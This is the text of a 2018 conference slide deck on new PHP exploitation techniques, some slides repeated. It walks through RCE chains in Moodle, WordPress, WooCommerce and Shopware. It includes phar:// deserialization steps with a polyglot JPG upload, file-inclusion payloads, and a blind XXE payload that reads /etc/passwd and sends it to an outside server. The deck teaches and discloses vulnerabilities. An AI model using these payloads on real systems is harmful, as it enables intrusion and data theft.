New PHP Exploitation Techniques Johannes Dahse, PHP.RUHR 2018 Dortmund, Germany, 08.11.2018
Intro Johannes Dahse Capture The Flag, 5 years Security Consultant, 5 years Developer RIPS open source (2009-2013) Ph.D. Static Code Analysis @ Ruhr-University Bochum (2013-2016) Co-Founder RIPS Technologies GmbH (since 2016) @FluxReiners blog.ripstech.com
What I love Phar:// Deserialization WooCommerce: File Delete to RCE WordPress: File Delete to RCE Moodle: Code Injection to RCE Prestashop: Object Injection to RCE LimeSurvey: pXSS to File Write to RCE wooCommerce: SQLi to POI to RCE Joomla!: Second-Order SQLi to RCE CubeCart: SQLi to RCE Shopware: POI to XXE to RCE
What I love Phar:// Deserialization WooCommerce: File Delete to RCE WordPress: File Delete to RCE Moodle: Code Injection to RCE Prestashop: Object Injection to RCE LimeSurvey: pXSS to File Write to RCE wooCommerce: SQLi to POI to RCE Joomla!: Second-Order SQLi to RCE CubeCart: SQLi to RCE Shopware: POI to XXE to RCE
Moodle < 3.5.0 Code Injection https://blog.ripstech.com/2018/moodle-remote-code-execution/
Code Injection public function substitute_variables_and_eval($str) { // replace {x} and {y} with numbers like 1.2 $formula = $this->substitute_variables($str); if ($error = find_formula_errors($formula)) { return $error; } eval ( '$str = ' . $formula . ';' ); // $str = exec($_GET[0]); return $str; } function find_formula_errors($formula) { while (preg_match( '~\\{[[:alpha:]][^>} <{"\']*\\}~' , $formula, $regs)) { $formula = str_replace($regs[0], '1' , $formula); } // check formula }
Code Injection public function substitute_variables_and_eval($str) { // replace {x} and {y} with numbers like 1.2 $formula = $this->substitute_variables($str); if ($error = find_formula_errors($formula)) { return $error; } eval ( '$str = ' . $formula . ';' ); return $str; } function find_formula_errors($formula) { while (preg_match( '~\\{[[:alpha:]][^>} <{"\']*\\}~' , $formula, $regs)) { $formula = str_replace($regs[0], '1' , $formula); } // check formula }
Code Injection
WordPress <= 4.9.6 File Delete to RCE https://blog.ripstech.com/2018/wordpress-file-delete-to-code-execution/
Video: https://blog.ripstech.com/2018/wordpress-file-delete-to-code-execution/
Comments on Requirements WordPress Author role required, but: Privilege escalation for multi-user sites (e.g. multiple journalists) • New bug announced soon that allows privilege escalation from unauthenticated users •
WooCommerce <= 3.4.5 File Delete Privilege Escalation https://blog.ripstech.com/2018/wordpress-design-flaw-leads-to-woocommerce-rce/
WordPress Design Flaw WooCommerce Privileges: A shop manager user gets the edit_users WordPress privilege upon plugin installation • This privilege is permanently stored in the database • This privilege allows to edit all users, including administrators • To restrict this, WooCommerce adds a WordPress filter disallow_editing_of_admins • The Design Flaw: If the WooCommerce plugin gets disabled, the edit_users privilege still persists • But the disallow_editing_of_admins filter of the plugin does not trigger anymore • Usually, only administrators can disable plugins … •
File Delete Vulnerability
Video: https://blog.ripstech.com/2018/wordpress-design-flaw-leads-to-woocommerce-rce/
Phar:// Deserialization https://blog.ripstech.com/2018/new-php-exploitation-technique/
PHP Stream Wrappers URL-style wrappers allowed in PHP file operations, e.g. data://, zlib://, php:// Often used for PHP file inclusion: include($_GET["filename"]); ?filename=php://filter/convert.base64-encode/resource=index.php ?filename=data://text/plain;base64,cGhwaW5mbygpCg== What about other wrappers, like phar:// ? Credits: Sam Thomas from Secarma
Phar Files PHP Archive Files Put entire PHP application into single file Meta data is stored in serialized form!
Phar Files PHP Archive Files Put entire PHP application into single file Meta data is stored in serialized form! // create new Phar $phar = new Phar( 'test.phar' ); $phar->startBuffering(); $phar->addFromString( 'test.txt' , 'text' ); $phar->setStub( '<?php __HALT_COMPILER(); ? >' ); // add object of any class as meta data class AnyClass {} $object = new AnyClass; $object-> data = 'rips' ; $phar->setMetadata($object); $phar->stopBuffering();
Phar Files PHP Archive Files Put entire PHP application into single file Meta data is stored in serialized form! // create new Phar $phar = new Phar( 'test.phar' ); $phar->startBuffering(); $phar->addFromString( 'test.txt' , 'text' ); $phar->setStub( '<?php __HALT_COMPILER(); ? >' ); // add object of any class as meta data class AnyClass {} $object = new AnyClass; $object-> data = 'rips' ; $phar->setMetadata($object); $phar->stopBuffering();
Phar:// Deserialization Any file operation allows phar:// On access, Phar meta data is unserialize() ‘ d ➔ PHP Object Injection class File { function __destruct() { unlink( $this-> data) ; } } // output: rips include( $_GET[filename] ) ; ?filename=phar://test.phar
Phar:// Deserialization Any file operation allows phar:// On access, Phar meta data is unserialize() ‘ d ➔ PHP Object Injection ➔ Polyglot JPG/PHAR exists class File { function __destruct() { unlink( $this-> data) ; } } // output: rips include( $_GET[filename] ) ; ?filename=phar://test.phar
Phar:// Deserialization Any file operation allows phar:// On access, Phar meta data is unserialize() ‘ d ➔ PHP Object Injection ➔ Polyglot JPG/PHAR exists class File { function __destruct() { 1. Inject serialized object into a phar file unlink( $this-> data) ; 2. Obfuscate phar file as avatar.jpg } } 3. Upload avatar.jpg to application // output: rips include( $_GET[filename] ) ; 4. Exploit phar deserialization: ?filename=phar://test.phar index.php?filename=phar://../uploads/avatar.jpg
Any File Operation include ( 'phar://test.phar' ); file_get_contents ( 'phar://test.phar' ); file_put_contents ( 'phar://test.phar' , '' ); copy ( 'phar://test.phar' , '' );
include ( 'phar://test.phar' ); file_get_contents ( 'phar://test.phar' ); file_put_contents ( 'phar://test.phar' , '' ); copy ( 'phar://test.phar' , '' ); Any file_exists ( 'phar://test.phar' ); is_executable ( 'phar://test.phar' ); is_file ( 'phar://test.phar' ); File is_dir ( 'phar://test.phar' ); is_link ( 'phar://test.phar' ); is_writable ( 'phar://test.phar ‘ ); Operation fileperms ( 'phar://test.phar' ); fileinode ( 'phar://test.phar' ); filesize ( 'phar://test.phar' ); fileowner ( 'phar://test.phar' ); filegroup ( 'phar://test.phar' ); fileatime ( 'phar://test.phar' ); filemtime ( 'phar://test.phar' ); filectime ( 'phar://test.phar' ); filetype ( 'phar://test.phar' ); getimagesize ( 'phar://test.phar' ); exif_read_data ( 'phar://test.phar' ); stat ( 'phar://test.phar' ); lstat ( 'phar://test.phar' ); touch ( 'phar://test.phar ‘ ); md5_file ( 'phar://test.phar' );
Shopware < 5.3.4 PHP Object Instantiation to XXE to RCE https://blog.ripstech.com/2017/shopware-php-object-instantiation-to-blind-xxe/
PHP Object Instantiation PHP Object Instantiation != PHP Object Injection class Shopware_Controllers_Backend_ProductStream { public function loadPreviewAction() { $sorting = $this->Request()->getParam( 'sort' ); $streamRepo->unserialize($sorting); } }
PHP Object Instantiation An attacker can instantiate PHP objects of arbitrary classes class LogawareReflectionHelper { public function unserialize($serialized) { foreach ($serialized as $className => $arguments) { $reflectionClass = new \ReflectionClass($className); $classes[] = $reflectionClass->newInstanceArgs($arguments); } } }
PHP Object Instantiation An attacker can instantiate PHP objects of arbitrary classes class LogawareReflectionHelper { public function unserialize($serialized) { foreach ($serialized as $className => $arguments) { $reflectionClass = new \ReflectionClass($className); $classes[] = $reflectionClass->newInstanceArgs($arguments); } } } Invoke __construct(), __destruct(), __call(), but what if no interesting magic methods in code base?
PHP Built-in Class SimpleXMLElement Instantiate object of a PHP built-in class SimpleXMLElement:: __construct ( $data = "https://ripstech.com/xxe.xml" , $options = LIBXML_NOENT , // enable substitution of entities $data_is_url = true )
Blind XXE https://ripstech.com/xxe.xml <?xml version="1.0" ?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY % sp SYSTEM "http://ripstech.com/xxe.dtd"> %sp; %param1; ]> <r>&exfil;</r> https://ripstech.com/xxe.dtd <!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'https://ripstech.com/?%data;'>">
Recommend
More recommend